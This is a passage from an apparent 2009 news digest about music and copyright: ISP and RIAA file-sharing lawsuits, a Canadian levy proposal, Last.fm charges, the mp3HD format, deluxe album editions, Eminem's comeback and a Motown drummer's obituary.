irrelevant to their case as all they need to prove is that iiNet users illegally obtained the files and then made them available for others to download over BitTorrent. Admitting this is dangerous for iiNet because it would then make the ISP potentially liable and exposed to a multimillion-dollar damages claim. The studios hired online investigators DtecNet to intercept BitTorrent traffic and record all instances of iiNet users transmitting copyrighted movies illegally. They claim the evidence is iron-clad and barrister Tony Bannon, SC, was visibly frustrated that iiNet would not accept it. "How you can't admit that [iiNet users download movies illegally] ... is quite frankly beyond us," he said. "They don't stop customers doing what they're doing and they keep asserting that they have insufficient information." The studios claim iiNet in effect "authorised" customers' copyright infringement by failing to disconnect them when notified of the infringements by the movie studios. iiNet's barrister, Richard Cobden, SC, said the ISP was not required to act on a "mere allegation of copyright infringement" and used comments from former attorney-general Philip Ruddock that apparently back up this claim. iiNet has previously said that the case was "like suing the electricity company for things people do with their electricity". The studios say DtecNet's evidence is enough for iiNet to definitively determine whether a customer is trading movies illegally by comparing it with their own server logs. Much of today's hearing was devoted to bringing Justice Dennis Cowdroy up to speed with technical concepts such as IP addresses and the workings of BitTorrent. The studios' lawyers admitted that DtecNet's evidence could only tell them that an iiNet user was illegally downloading, but could not identify the individual customer. However, they pointed to previous judgments in the cases against the Kazaa file sharing service and MP3s4free.net owner Stephen Cooper, which found it was "not necessary to know the identify of each individual user". As part of their statement of claim, the studios also said iiNet was responsible for customers downloading movies illegally and then burning them to DVD to sell or share with friends. Justice Cowdroy in court today questioned whether they had any evidence that this was occurring, to which the studios' lawyers replied: "This is a notorious practice." Justice Cowdroy also asked whether, upon receiving an infringement notice from the movie studios, it was possible for iiNet to go back and confirm that the user was downloading a specific movie at a particular time. Bannon said he couldn't "say yes or no" at that time. The case is set for a formal hearing about October. The landmark case will determine the lengths to which an internet provider must go to prevent illegal downloading on its network. A loss for the movie industry could leave it no choice but to go after individual downloaders, as has occurred in the US. However, if iiNet loses, all ISPs could be forced to disconnect customers identified by the movie studios as illegal downloaders. http://www.smh.com.au/articles/2009/...656984092.html Obama DOJ Sides With RIAA NewYorkCountryLawyer The Obama Administration's Department of Justice, with former RIAA lawyers occupying the 2nd and 3rd highest positions in the department, has shown its colors, intervening on behalf of the RIAA in the case against a Boston University graduate student, SONY BMG Music Entertainment v. Tenenbaum, accused of file sharing when he was 17 years old. Its oversized, 39-page brief (PDF) relies upon a United States Supreme Court decision from 1919 which upheld a statutory damages award, in a case involving overpriced railway tickets, equal to 116 times the actual damages sustained, and a 2007 Circuit Court decision which held that the 1919 decision — rather than the Supreme Court's more recent decisions involving punitive damages — was applicable to an award against a Karaoke CD distributor for 44 times the actual damages. Of course none of the cited cases dealt with the ratios sought by the RIAA: 2,100 to 425,000 times the actual damages for an MP3 file. Interestingly, the Government brief asked the Judge not to rule on the issue at this time, but to wait until after a trial. Also interestingly, although the brief sought to rebut, one by one, each argument that had been made by the defendant in his brief, it totally ignored all of the authorities and arguments that had been made by the Free Software Foundation in its brief. Commentators had been fearing that the Obama/Biden administration would be tools of the RIAA; does this filing confirm those fears? http://news.slashdot.org/article.pl?sid=09/03/22/184221 RIAA Backs Down In Texas Case NewYorkCountryLawyer After receiving a Rule 11 Sanctions Motion (PDF) in a Houston, Texas, case, UMG Recordings v. Lanzoni, the RIAA lawyers thought better of proceeding with the case, and agreed to voluntarily dismiss the case "with prejudice", which means it is over and cannot be brought again. The defendant's motion papers detailed some of the RIAA's litigation history against innocent individuals, such as Capitol Records v. Foster and Atlantic Recording v. Andersen, and argued that the awarding of attorneys fees in those cases has not sufficiently deterred repetition of the misconduct, so that a stronger remedy — Rule 11 sanctions — is now called for. http://news.slashdot.org/article.pl?.../03/25/1733206 Songwriters Rewrite Bid for Legalized File Sharing Michael Geist In November 2007, the Songwriters Association of Canada shocked the music industry and many Canadians by proposing music file sharing be legalized. The proposal was based on the premise that file sharing was not going away, that lawsuits do more harm than good and the continued emphasis on digital locks to control copying has failed completely. To thousands of Canadian songwriters, the better way forward is to encourage music sharing by monetizing it. The SAC proposal envisioned a five-dollar levy to compensate creators for the sharing. In return, Canadians would be entitled to freely share music for non-commercial purposes. Reaction was generally critical. The recording industry rejected it, arguing it violated international copyright law. Consumer groups were also skeptical, noting a mandatory universal levy would result in payments by non-music sharers, who would effectively subsidize those sharing music. Notwithstanding the criticism, the SAC persisted. Last week, it unveiled a revised proposal at a public copyright forum in Toronto. The new version, which addresses many of the earlier criticisms, is far more promising and there are indications the SAC's pursuit of a legalization strategy may be joined by other creator groups. The foundation of the proposal remains the same – the creation of a new right of remuneration for music file sharing in return for the consumer freedom to share an unlimited amount of music across all platforms including peer-to-peer networks, mobile devices, instant messaging and even email. The SAC notes that downloading music for non-commercial purposes is arguably already lawful in Canada due to the private copying levy, but that its proposal would cover more broadly all music file sharing. The most important change to the SAC proposal is that it would now be voluntary for both creators and consumers. Artists could choose to participate, thereby addressing international copyright law concerns about mandated participation. The proposal also envisions providing consumers with the right to opt out if they do not share music files. The voluntary approach – which resembles elements of a plan the Electronic Frontier Foundation began promoting in 2003 – should remove the consumer concerns associated with stiff monthly fees for non-music sharers. While some artists may reject the plan, the SAC is betting most will participate given the opportunity to benefit from a new source of revenue. The SAC has also made changes to the pricing model, dropping the five-dollar monthly fee and instead leaving the issue in the hands of the Copyright Board of Canada. The board would set the fee after holding public hearings. While the changes may address many criticisms, some issues remain, including fears that a music-only approach leaves open the prospect of future demands for levies on other content, such as video. If last week's forum is any indication, other creator groups may be ready to join the SAC in a broader proposal that covers video works as well. The Alliance of Canadian Cinema, Television and Radio Artists, which represents 21,000 performers, indicated its willingness to pursue a similar plan. ACTRA national executive director Stephen Waddell told the audience that solutions based on locking down content have failed and it was time to explore other options such as collective licencing that would fully legalize file sharing in return for creator compensation. As creator groups begin to line up behind these proposals, the public may still need convincing. A recent public-opinion survey by Angus Reid Strategies found widespread opposition to new levy schemes, suggesting even the revised SAC approach will be a tough sell. With the willingness to move toward voluntary plans, however, we are witnessing a dramatic shift in attitude as groups abandon their reliance on outdated legislated solutions in favour of innovative new alternatives. http://www.thestar.com/article/606488 Last.fm to Start Charging International Users Adam Ostrow If you use Last.fm and don’t live in the US, UK, or Germany, you might need to get your wallet out. The online radio service has announced that users outside of those countries (their 3 most popular) will need to start paying €3.00 (about $4.40 USD) per month to continue streaming music on Last.fm. Last.fm doesn’t offer much of a reason as to the change, other than writing on their blog that “There will be a 30 track free trial, and we hope this will convince people to subscribe and keep listening to the radio,” and the to-be-expected “In order to keep providing the best radio service on the web, we need to ask our listeners from countries other than USA, UK and Germany to subscribe for €3.00 per month.” The real reason is likely international licensing fees, which led Pandora to pull the plug on international users back in 2007. It’s unfortunate for users outside of Last.fm’s top countries, but likely a necessary move to continue to provide sustainable service, even though the outfit is now owned by media conglomerate CBS. Update: As a point of clarification, Last.fm users outside of the US, UK, and Germany will still be able to use Last.fm’s other features. Last.fm explains, “Everything else on Last.fm (scrobbling, recommendations, charts, biographies, events, videos etc.) will remain free in all countries, like it is now.” http://mashable.com/2009/03/24/lastf...ational-users/ German Retailer Expected to Buy Music Download Firm David Jolly Metro, a German retailer, is expected to announce on Wednesday that it is buying a controlling stake in a company that provides technology for online music downloads. Metro plans to acquire 24-7 Entertainment, which handles the logistics of music, video and ring tone downloads, including digital rights management, for companies like telecommunication operators and retailers. Metro hopes that the company, which has access to a database of five million songs, will help it expand the offerings of its consumer electronics business. The companies declined to disclose the financial terms of the transaction. Founded in 2000, 24-7 said it managed 93 million downloads in Europe last year, second only to iTunes from Apple. The company, which is based in London, operates 41 download stores in 13 countries and has license agreements in place with more than 12,000 record labels. Metro plans to combine 24-7 with its Media-Saturn Holding unit, which had 19 billion euros ($25.6 billion) in revenue last year from its Media Markt and Saturn consumer electronics retailers, which have a total of 768 stores across Europe. Customers for the service include the Danish telecommunications operator TDC. In tandem with Omnifone, 24-7 supports the PlayNow service offered by Sony Ericsson. Frank Taubert, a founder, said by telephone that 24-7 would be run independently after Metro acquired “a majority stake.” Metro and 24-7 had been working together for four years, he said, and 24-7 became profitable for the first time in the third quarter of 2008. Nokia, the Finnish cellphone maker, paid about $60 million in August 2006 for Loudeye, a rival to 24-7, based in Seattle. Nokia now sells music online for its own multimedia-optimized mobile devices, and with Loudeye, offers branded mobile music services to retailers. http://www.nytimes.com/2009/03/25/te...s/25music.html mp3HD: New Lossless MP3 Format Explained Nate Lanxon French media behemoth Thomson has announced mp3HD, a new lossless 'hybrid' MP3 format, which not only offers the sound detail lost in a normal MP3, but remains compatible with your existing MP3 player or iPod. It's called mp3HD and still uses the traditional .mp3 file extension. Simply put, it works by storing a conventional lossy MP3 track that standard players can play, alongside a 'lossless' version -- both audio streams are contained in one single MP3 file. It's similar to how hybrid SACDs work. Ideally this would appeal to users who want to enjoy lossless audio at home, and universally compatible MP3s on the commute, without having to rip two versions of the same song. Real-world testing We've tested the format, ripping our own CDs using Exact Audio Copy and Thomson's mp3HD command line encoder. A 6 minute 22 second mp3HD file (Pink Floyd's Money), using default settings, gave us a 48MB file -- just 5MB larger than a file ripped in FLAC, level 8. On a PC with Thomson's mp3HD decoder plug-in installed, WinAmp played the 800Kbps (on average) lossless audio track, but when dragged into iTunes the same file played as a normal old 320Kbps MP3 file. It transferred without issue to an iPhone 3G and to a Cowon iAudio D2 MP3 player, and played without any problems. This is it: a lossless audio file, theoretically backwards compatible with all existing MP3 players! Why wouldn't everyone adopt this? Well, for a whole bunch of reasons, frankly. The problems At face value it's remarkably convenient, like a car that doubles up as a plane. But like your aeromobile, there are problems for the average consumer. Firstly, file size. A normal 320Kbps MP3 of the same Pink Floyd song was just 14.6MB, and 320Kbps is all you'll hear if you listen to an mp3HD track on your iPod. But the lossless audio stored in the file will be stored on your iPod nevertheless, taking up precious storage space. (Although we should point out to audiophiles that the hybrid files are smaller than the combined size of a FLAC and 320Kbps MP3, although are less efficient to encode than FLAC.) The second problem concerns compatibility. The joy of MP3 files, and the reason for their ubiquity in the marketplace, is their small size and compatibility with almost anything you throw at them. With mp3HD, not only are file sizes massive (making them impractical for small flash players), but you need to install plug-ins on your computer. True backwards compatibility would mean no additional software or updates were required. Ideally you'd be able to transfer only the small, lossy part of the mp3HD to a portable player, leaving the lossless part (stored as what's known as 'correction data') behind. But this would require additional software, and that means Average Joe won't want to know about it. The last word In conclusion, mp3HD will undoubtedly appeal to archivists with hard drives in their portable music players (such as the iPod classic or Archos 5). But for the chap on the street it'll be small, convenient, decent-enough-sounding MP3s all the way, and smaller Apple Lossless files for the iTunes audiophiles. You can get started using the format at Thomson's Web site. http://crave.cnet.co.uk/digitalmusic...9301678,00.htm Hear What Happens When You Reencode an MP3 600 Times, Using the Same Settings [mp3] http://www.sendspace.com/file/1l64x5 Music Helps Stroke Victims See Better (but only music they like) William Weir This just in: Researchers in England have found that stroke victims who have lost of some of their visual awareness, a symptom of up to 60 percent of stroke victims, regain some of it while listening to their favorite music. (With loss of visual awareness, patients have a type of brain damage that prevents them from perceiving that which is in their line of sight). The researchers at imperial College London and the University of Birmingham tested three stroke victims who had lost visual awareness in one side of their field of vision. All three were able to better identify colored shapes and red lights in the depleted side of their vision field while they listened to music they liked, than while completing similar tasks in silence or while listening to music they didn't care for. The researchers surmise that the positive results were caused by improvements to the patients' emotional state. They expect to further investigate with a greater number of subjects. Their study was published in the The Proceedings of the National Academy of Sciences. http://blogs.courant.com/bill_weir/2...ctims-see.html Global '08 Live Music Turnover Rose 10 Percent: Report Turnover from the global live music business rose by 10 percent in 2008 to $25 billion, continuing its strong growth at a time when traditional sales of recorded music are falling, a report said on Thursday. According to The View, the online music and entertainment business resource, ticket sales were up 8 percent at $10.3 billion, while sponsorship, resold tickets, ticketing fees and drinks at venues also rose. The live music business has been strong within the industry in recent years, while other areas such as physical CD music sales have fallen due to piracy and the changes introduced by the Internet, such as buying a few songs at a time and not the whole album. According to the report by Phil Hardy, the leading tours of 2008 were Jon Bon Jovi, Bruce Springsteen and Madonna. Irish group U2 will start its world tour later this year with support from Live Nation Inc, the world's largest concert promoter. (Reporting by Kate Holton; Editing by Greg Mahlich) http://www.reuters.com/article/enter...52P3GT20090326 Devoted Music Fans Pay Top Dollar for Deluxe Sets Cortney Harding During the past two years, one 29-year-old Bay Area music fan reckons she's spent about $200 on music. She gets most of her music for free from blogs and BitTorrent trackers, but one recent release struck her as cool enough to get her to lay down her credit card. That album, a deluxe reissue of the Beastie Boys album "Paul's Boutique," cost more than she spends on music in most years. This freeloading fan isn't alone: As of the end of February, the $129.99 deluxe edition of "Paul's Boutique" had almost sold out its run of "a few hundred" copies. Released by EMI and the online music marketing company Topspin, and sold only on the Beastie Boys' Web site, the package includes a 180-gram vinyl copy of the album, a poster and a T-shirt in addition to a CD copy and a high-quality digital download. So far, it has sold as many copies as the lowest-priced reissue of the album, an $11.99 download, according to Topspin founder Ian Rogers. (The album is also available on CD, vinyl and high-quality digital download.) In an era when labels have to beg or sue most fans to get them to pay $10 or $15 for a plain old CD, some bands are getting a few to lay out more than $100. During the past few years, a number of bands have released deluxe versions of their new albums, including Radiohead, Nine Inch Nails and U2 (the group just released a high-ticket version of "No Line on the Horizon.") In the next few months, this trickle will become a flood of albums that will sell for more than $50: an edition of Depeche Mode's "Sounds of the Universe" will include two hardbound books of photos; a set of unreleased Jane's Addiction tracks will come in a wooden box; and a reissue of Pearl Jam's "Ten" will come with an extra CD, a DVD and four vinyl records in a linen-covered, slipcased box with a replica of a demo cassette made by frontman Eddie Vedder. The Ralph Lauren Effect At first there's something almost absurd about the idea that fans who can get music for free would spend so much money on albums. The decline in CD sales shows no sign of reversing, and a generation of listeners have come to see music as something that resides only on a hard drive. Then again, this is the same generation that has come to see coffee as something that costs $4. And the fact that water comes out of the tap for free hasn't prevented the growth of a large business based on selling it in bottles. As with bottled water, the right packaging and presentation can create a perception of value in the minds of consumers. Albums, like art books, can have a value apart from the content they hold -- especially if they look good on a coffee table. "It's a human response -- if you're really fanatical about something, you want something physical," says Chris Hufford, who co-manages Radiohead with Bryce Edge. "It gives you an additional level of ownership. And if you're going to get something, you might as well get something good." High-end packages also give fans the kind of bragging rights that reinforce their sense of being involved with a particular artist. "Even though some bands are everywhere, you get a sense that you're not connected to them in any meaningful way," says Jeff Anderson, the founder of Artists in Residence, who sold a high-end edition of Nine Inch Nails' "Ghosts I-IV," that sold 2,500 $300 copies in a single weekend. "What I try to do is create a collectible. People don't want to pay a ton of money for something that feels like a repackaged good. They want a new piece, and they want something that signifies their identity as a fan." And these packages -- as different from old-fashioned boxed sets as CDs are from record albums -- look more like collectibles than mere discs of music. In some cases, the high prices they sell for may even help convince consumers that they're worth buying. "It's the Ralph Lauren effect: If you charge more for it, people will think it's really good," Marjorie Scardino, CEO of media company Pearson, said in a keynote address at the SIIA Industry Summit, a gathering of information industry leaders. "With newspapers, we've been able to price it too low for too long. I mean, a newspaper costs less than the price of a latte. We pushed the price up at the Financial Times and we found that our readership went up." Expressions Of Devotion Deluxe editions also represent a way for an artist's most dedicated followers to spend an amount of money that reflects the intensity of their devotion without making an album unaffordable to everyone else. "It's really just the concert paradigm," Nine Inch Nails manager Jim Guerinot says. "First-row seats are a premium; if you're only a casual fan, you'll buy the cheap seats. We were doing this with our merch, in terms of selling a wide range of goods, so the deluxe edition seemed logical." Both U2, whose album was released March 3, and Pearl Jam, whose reissue came out March 24, have taken that philosophy to the logical extreme. Sony Legacy will sell Pearl Jam's "Ten" as a $19.98 two-CD set, a $24.98 double-LP set, a $40.98 package that includes two CDs and a DVD, and a $199.98 package that includes -- deep breath -- two CDs, four LPs, a DVD of Pearl Jam's previously unreleased "MTV Unplugged" performance, a cassette of demos, replicas of mementos from the collections of Vedder and bassist Jeff Ament, a vellum envelope with more ephemera and a print commemorating a concert from the time. U2 will also sell "No Line on the Horizon" in several editions, from a $13.99 CD to a $95.98 deluxe set. Although the idea of selling different versions of similar goods is new to the music business, it's a well-established practice in the auto industry and the fashion world, where designers will create a high-end version of an item of clothing and then license their name to companies that make simpler versions. And instead of turning off consumers, high-priced items often lead them to see basic versions as bargains. "A $50 edition with some cool stuff looks really cheap in comparison to a $100 set with more cool stuff," says Craig Pepe, the senior manager for music at Amazon. "If there is a version that is slightly more deluxe than the cheapest version, we'll see consumers gravitate toward that." Packaging Matters The idea of selling a pricey package of music certainly isn't a new idea: boxed sets have been around since the '70s. But those products were all about the amount of music -- the number of CDs or individual tracks they included. Today's deluxe editions are selling packaging as much as music, making albums something to save at a time when music is often seen as disposable. It still isn't possible to download an art book. Like boxed sets, deluxe editions can offer higher profit margins. But even though labels can earn more money on deluxe editions than on ordinary CDs, consumers seem to perceive them as a better buy -- perhaps because the movie business has habituated them to the idea of deluxe releases. "DVDs usually have ... different editions, and I think the music industry took a look at what the DVD industry was doing and decided to try to copy that," says Carl Mello, the senior buyer at the Boston-based independent music chain Newbury Comics. One edition of "Reservoir Dogs" came packaged as a gas can, and "collectible" editions of the "Lord of the Rings" movies contained statuettes. Nine Inch Nails' $300 edition of "Ghosts I-IV" might be the gold standard for deluxe editions so far. But the group's former drummer, Josh Freese, might give Trent Reznor a run for his money. Freese, a session drummer widely regarded as one of the best in the business, is releasing his new album, "Since 1972," at price points ranging from $7 to $75,000. Freese is offering a personal phone call with the $50 package; a chance to cut his hair and dinner at Sizzler for $500; and a drug-fueled ride through Hollywood in a sports car as part of the $75,000 package. The singer-songwriter John Wesley Harding is also offering some unusual extras to fans who buy his new album, "Who Was Changed and Who Was Dead." The least expensive edition includes a CD, a digital download and a bonus live disc for $15.98; the "superfancy" package contains the CD, download and bonus live disc, plus a DVD, T-shirt and signed art for $79.98. And one fan willing to shell out $5,000 will get the "superfancy" package, plus a private concert at the venue of his choosing -- even if that's a living room. But very few artists can sell a deluxe edition of any kind. After Portishead asked fans for suggestions on how to sell its music, bloggers at Creative Commons suggested that the group follow the lead of Nine Inch Nails. The group released a $60 set, but its own copy arrived in the mail damaged and Mello says it didn't sell well. Perhaps Portishead fans aren't dedicated enough. Or maybe the group's fans are too young to have forged an attachment to the idea of physical product, as listeners of Nine Inch Nails and Jane's Addiction have. "Theoretically, you could build a package for pretty much any band," says John Ingrassia, who put together the deal for Pearl Jam's "Ten" reissue as president of Sony BMG Music Entertainment's commercial music group and has since left the company. "But only a select group of bands have the fan base to make these worthwhile." (Editing by Sheri Linden at Reuters) http://www.reuters.com/article/enter...52R08O20090328 Amy Winehouse's New Songs Turned Down Amy Winehouse's new songs have been rejected by her record label. The 25-year-old singer - who recently spent three months in the Caribbean on holiday and working on new material - has been told to return to the recording studio because label bosses don't like her new reggae sound. Amy Winehouse has veered heavily in the direction of reggae for her new songs, a move her record bosses are not to keen on Amy Winehouse has reportedly had her new songs rejected by her record label. A source said: "Amy was very productive during her stay in St. Lucia. She wrote a lot of songs, but the majority of them just aren't hitting the mark. She seems to have ditched her trademark vintage soul sound and is now heavily influenced by reggae. Her bosses don't think it's a wise move to change her style so sharply and have told her that." The troubled star's demo tracks for her upcoming third album have also been criticised for being "very dark" compared to her previous hits. The source explained: "The lyrics are very dark indeed. While she's known for her conversational style and has been very successful with it, many of the tracks are near the knuckle. In the past, she's written frequently about broken hearts and boyfriends, but this time round she's delving into harrowing terrain." Bosses are determined to ensure Amy's upcoming album matches the success of her 2006 LP 'Back to Black'. The source added to Britain's The Sun newspaper: "It is crucial Amy's return is handled properly. If she puts out a record that is in any way half-baked, that could severely damage her long-term prospects, so everyone's focus at the minute is getting it right, even if that means telling Amy some things she probably won't want to hear." http://www.welt.de/english-news/arti...rned-down.html Eminem's Back...But Does the World Still Need Him? After drug problems, divorce and half a decade out of the studio, Eminem is to release not one but two albums. The problem, says Shane Danielsen, is the world's biggest-selling rapper might just discover that five years is a very long time in hip-hop You must have heard it by now. That adenoidal, sing-song delivery; the slow, clipped beat, the tack piano... like a signal, beamed from a not-too-distant past. Nothing remarkable about that – except that, in the hyper-accelerated world of pop, a five-year silence is equivalent to skipping an entire generation. So the leak of a new track from Eminem – amid reports that he's set to return with not one but two new albums – has understandably set the internet buzzing. Which is fine – but can Marshall Bruce Mathers III, by far the biggest-selling rap artist in the world, possibly reclaim his position as the world's most famous MC? His long, self-imposed exile is the least of it. After a reconciliation with (and subsequent divorce from) perpetual ex-wife Kimberley, the murder of a close friend, rumours of creative burnout, signs of weight gain and a much-publicised "dependency on sleep-medication", he's starting to resemble, for sheer weight of troubles, the very Michael Jackson he once mocked. At 36, even if Eminem's musical skills are intact, his road back may prove tough. Consider the following obstacles he'll have to overcome along the way... 1. That tricky back-catalogue Any new Eminem album (the first, reportedly titled Relapse, is scheduled for release in May, to be followed by Relapse 2 later in the year) has to be substantially better than his last effort, which managed both to dent his critical reputation and weaken his commercial standing. With its lazy rhymes and flat production, Encore seemed the work of a man who'd audibly lost interest in what he was doing. "Just Lose It" and "Like Toy Soldiers" each topped the UK charts, yet as a whole the album lacked the brassy provocation and spiteful energy of his best work. Worryingly, the first track to appear from the new sessions – titled "Crack a Bottle", and featuring guest verses from perennial sidekicks Dr Dre and 50 Cent – hardly inspires hopes of a creative renaissance. It's weirdly lifeless, shoe-horning some awkward rhymes ("Ladies love us, and my posse's kickin' up dust") to a weary snare loop, with Dre seemingly on auto-pilot, and 50 Cent sounding even more uninspired than usual. Eminem himself, meanwhile, sounds almost tame. Admittedly, a track such as 2002's "Lose Yourself" set the bar high – it ranks with LL Cool J's "Mama Said Knock You Out" and Public Enemy's "Fight the Power" as one of the greatest hip-hop singles of all time. And 2000's The Marshall Mathers LP is still one of this decade's essential releases. But no one's necessarily expecting Eminem to surpass those glories – just to remind his audience why they cared in the first place. 2. Staying one rhyme ahead of the pack In this respect, at least, Eminem may be safe. For all the effect hip-hop has had on the cultural landscape, it has yet to produce many actual stars. Indeed, it says something that two of the biggest names in the field, Tupac and Biggie, only achieved mainstream fame after (and because of) their early, violent deaths. Things haven't changed much. With over eight million albums sold, Lil Wayne is arguably the most commercially successful hip-hop star on the planet right now – yet how many Heat readers could pick him out in a crowd? And frankly, who else is there to rival Eminem's stature – at least, among working MCs? Diddy has finally taken the hint, and retired. Jay-Z seems more and more a CEO who occasionally flirts with making records. Anticipated "crossover" stars such as Mos Def are still stuck in supporting film roles and middling sales. Despite a string of movies and sitcoms, Method Man never found a mainstream audience – likewise Ice Cube. And veterans such as Flavor Flav and Snoop Dogg are consigned to the grinning indignities of reality television. Kanye West is probably the closest thing to a bona fide celebrity – yet even he's never quite achieved Eminem's prestige. Maybe he's too ubiquitous – constantly blogging and Twittering, glimpsed at every fashion show, première, party – there's no mystery. Kanye leaves no room for the close identification necessary for fan-worship – a topic, incidentally, which formed the basis of Eminem's landmark 2000 single "Stan". In this respect, Eminem might have an advantage. His acting chops in 8 Mile didn't exactly make one long to see his Petruccio, but on stage, at least, he demonstrates the focused intensity and spotlight-holding charisma of a genuine star – arguably, the biggest that hip-hop has produced. 3. Always read the sell-by date Given that it's been four-and-a-half years since Encore, Eminem might find himself the victim of something entirely beyond his control. Pop musicians today have a shorter lifespan – in commercial terms – than at any time since the "hit factory" days of the mid-1950s. And hip-hop careers are the most ephemeral of all. It's not uncommon to see one- and two-hit wonder acts such as Coolio (right) and Sisqo issuing Greatest Hits compilations after just two studio albums. They know the deal: cash in quickly, and get out. In commercial terms, even the biggest reputation doesn't mean a thing. Rakim's long-awaited solo debut, The 18th Letter, failed to sell – despite a substantial number of critics, fans and peers all citing him as rap's all-time greatest MC. Q-Tip is hardly in the same league technically, but is far more beloved, able to cruise on the accrued goodwill from those summery Tribe Called Quest cuts. Nevertheless, his recent comeback album (optimistically titled The Renaissance) hardly set the charts alike. Nor, for the matter, did the last Wu-Tang album. Even major stars today can't "do a Kate Bush": vanishing from the scene for years at a time, releasing nothing, maintaining a reclusive silence – secure in the knowledge that, when they do finally return, loyal listeners will stump up for their latest offering. It's a very different market out there in 2009. Fans' memories are shorter, their allegiances more fickle. And there are simply more choices, both within music and outside of it, to tug at their time and purse-strings. Eminem's greatest test, therefore, might be of his listeners' brand-loyalty. 4. The bootleg B-boys Hip-hop fans love their music – but they don't much like paying for it. Look on the peer-to-peer sites for even the most second-league act and you'll be deluged with hits: album tracks, singles, guest spots, rare cuts... Free file-sharing, not dollar-down purchasing, is the primary means of distribution for most fans, a fact that artists and labels reluctantly concede. This makes some sense. Hip-hop came up out of the underground via mixtapes, semi-legal bootlegs hawked outside gigs and on the street; its commodification into a Tower Records-friendly retail package was always uneasy. Artists such as Young Jeezy, Nas and Jay-Z are at least as active on the mixtape front as they are making albums. Consequently, there's a whole strand of these performers' careers – often, including some of their finest work – that never so much as troubles the casual listener. So even if Eminem's new album is appearing on iPod playlists from Detroit to Kenya, how will we know? What are the terms by which the commentators and pundits will deem it a success? Must he equal Lil Wayne's Tha Carter III, which famously sold "a milli" in its first week? And if he doesn't – if he only shifts, say, 400,000 units in that first seven days – does this mean Game Over? 5. The Obama effect Since Barack Obama's election in November, hundreds of articles have been written debating the possibility of a "post-racial America". Whatever the merits of this contention, it's most unlikely that it cuts much ice within the hip-hop community, where a rallying black consciousness, coupled with a dose of gangsta fetishism, have long been the defining characteristics. As a white guy, Eminem's success has consistently defied conventional wisdom. Initially, his friendship with Dr Dre, combined with his undeniable mic skills, earnt him a pass. But in 2003 he found himself embroiled in controversy after the leak – and subsequent release on CD by US hip-hop magazine The Source – of a recording in which he made derogatory remarks about the African- American community. This doesn't have to spell the end – at least as many white kids as black ones constitute Eminem's audience. But does a black president signify a paradigm shift, a celebration of all things African-American, and by extension, a repudiation of Marshall Mathers? Should the real Slim Shady please shut up? 'Relapse' is released on Polydor on 19 May http://www.independent.co.uk/arts-en...m-1648075.html Uriel Jones, a Motown Drummer, Dies at 74 Ben Sisario Uriel Jones, a drummer with the Funk Brothers, the studio musicians at Motown Records who played without credit on virtually every hit during that label’s heyday in the 1960s, died on Tuesday in Dearborn, Mich. He was 74. The cause was complications of a recent heart attack, his sister-in-law Leslie Coleman said. Drawn from the ranks of Detroit jazz players by Berry Gordy Jr., the founder of Motown, the Funk Brothers were the label’s regular studio backup band from 1959 to 1972, when Motown moved to Los Angeles and left most of them behind. The players appeared on songs by Marvin Gaye, the Supremes, the Temptations, Martha and the Vandellas and many others, and “Standing in the Shadows of Motown,” a 2002 documentary, opens with the claim that they “played on more No. 1 records than the Beach Boys, the Rolling Stones, Elvis and the Beatles combined.” Yet the group remained largely unknown until that film’s release. The band’s main drummer was the formidable Benny Benjamin, but as he became sidelined by drug addiction, Mr. Jones and another player, Richard Allen, known as Pistol, gradually took over drumming duties. Mr. Benjamin died of a stroke in 1969, and Mr. Allen died in 2002, shortly before the release of the film. Mr. Jones joined the Funk Brothers around 1963 after touring with Marvin Gaye, and plays on Gaye’s “I Heard It Through the Grapevine,” the Temptations’ “Ain’t Too Proud to Beg,” the Miracles’ “Tracks of My Tears,” Jimmy Ruffin’s “What Becomes of the Brokenhearted,” and Gaye and Tammi Terrell’s “Ain’t No Mountain High Enough,” among many other songs. Born in Detroit, Mr. Jones began playing music in high school. But his first instrument was the trombone, said his wife, June. She survives him, along with three children, seven grandchildren and two great-grandchildren. “He wanted to box also,” Ms. Jones said in a telephone interview on Wednesday. “When he went to band classes his lip was swollen and he couldn’t play the trombone, so he had to switch to the drums.” Mr. Jones remained in Detroit after Motown left, and continued to play in local clubs with other Funk Brothers alumni, including Earl Van Dyke, the keyboardist, who died in 1992. After “Standing in the Shadows of Motown,” Mr. Jones toured widely with other surviving Funk Brothers. In interviews later, he said he regretted being underpaid, but held no grudges against Motown. “We know now that we didn’t get the money that we was supposed to,” he told The Call and Post, a Cleveland newspaper, in 2002, “but the way I look at it is, ‘What would my life had been like without Motown?’ I’d rather it had been with Motown.” http://www.nytimes.com/2009/03/26/ar...c/26jones.html Graffiti Artists Hold Panel With Old Nemeses in Blue Randy Kennedy Back in the day, Cope2, a Bronx graffiti legend as big as a linebacker, usually found himself in proximity to police officers only when they were tracking him in the metallic darkness of a subway yard or when they finally caught up to him and hauled him in. But on Thursday night he sat willingly within reach of three officers — or at least three retired ones — on a comfortable couch at the powerHouse Arena, an art gallery and bookstore in the Dumbo section of Brooklyn. The officers, one of whom had arrested Cope2 several years earlier when he was leaving his house to walk his pit bulls, sat on another couch across from him and two fellow graffiti artists. For the next hour and a half, in front of a packed room, all six were guests on a kind of bizarre hip-hop “Dick Cavett Show,” featuring profanity, accusations of police brutality and lots of memories from the days when both the artists and officers were younger and more agile, fully enlisted in the cat-and-mouse game of New York City graffiti in its heyday. The event was occasioned by the publication of “Vandal Squad: Inside the New York City Transit Police Department, 1984-2004,” by Joseph Rivera, a veteran anti-graffiti officer who retired from the force in 2004 and has written perhaps the only book to look at the graffiti movement from the law enforcement perspective. But the book, which was issued late last year by powerHouse Books and is lavishly illustrated with pictures and resembles a lot of publications that celebrate graffiti, has come in for heavy criticism from some of the artists mentioned in it, who complain that Mr. Rivera is simply trying to cash in now on an urban phenomenon that he spent his career vilifying. The panel discussion at the publisher’s bookstore and gallery provided a chance for those grievances to be aired. But in the process it also became a rollicking forum for the kinds of arguments about expression and illegality that the police and graffiti artists have been locked in for decades. (One of the other officers, Steven Mona, who retired three years ago as a lieutenant and longtime head of the Vandal Squad, told the audience that only one word ever mattered to him: permission. “Did Michelangelo have permission?” he asked rhetorically. “No? Then he gets arrested.”) At a time of the ascendancy of so-called street art — wildly various forms of generally milder though still illegal work that has grown out of graffiti — the conversation was also a reminder of an era when spray paint was central to the conversation about New York’s very identity, seen as an important new art form by some but fought vigorously by the city as a dangerous epidemic. “There is nothing hypocritical about myself chronicling my career in the Transit Police Department,” Mr. Rivera said at the event. “It would have been hypocritical if I worked all those years combating graffiti and then I decided when I retired to pick up a can of spray paint and start vandalizing property. The fact is, I’m providing the reader with an insight into what it was like being inside such an elite unit.” Cope2, otherwise known as Fernando Carlo, admitted that he was actually a fan of Mr. Rivera’s book, 